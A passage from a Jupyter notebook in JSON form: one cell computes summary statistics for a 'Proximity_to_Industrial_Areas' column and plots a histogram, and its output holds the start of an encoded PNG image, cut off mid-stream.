"ExecuteTime": {
"end_time": "2025-02-21T18:42:14.315605Z",
"start_time": "2025-02-21T18:42:13.636251Z"
}
},
"cell_type": "code",
"source": [
"# Mean/Std/Median\n",
"mean_proximity = df[\"Proximity_to_Industrial_Areas\"].mean()\n",
"std_proximity = df[\"Proximity_to_Industrial_Areas\"].std()\n",
"median_proximity = df[\"Proximity_to_Industrial_Areas\"].median()\n",
"\n",
"# Histogram\n",
"plt.figure(figsize=(8, 6))\n",
"plt.hist(df[\"Proximity_to_Industrial_Areas\"], bins=30, color='lightgreen', edgecolor='black', alpha=0.7)\n",
"\n",
"# Lines on the diagram\n",
"plt.axvline(mean_proximity, color='red', linestyle='dashed', linewidth=2, label=f\"Mean: {mean_proximity:.2f}\")\n",
"plt.axvline(median_proximity, color='green', linestyle='dashed', linewidth=2, label=f\"Median: {median_proximity:.2f}\")\n",
"\n",
"plt.xlabel(\"Proximity to Industrial Areas (km)\")\n",
"plt.ylabel(\"Frequency\")\n",
"plt.title(\"Histogram of Proximity to Industrial Areas\")\n",
"plt.legend()\n",
"plt.grid(True)\n",
"plt.show()\n",
"\n",
"print(f\"Mean Proximity: {mean_proximity:.2f} km\")\n",
"print(f\"Standard Deviation: {std_proximity:.2f} km\")\n",
"print(f\"Median Proximity: {median_proximity:.2f} km\")"
],
"id": "745069baf7e8187f",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 1 Axes>"
],
"image/png": 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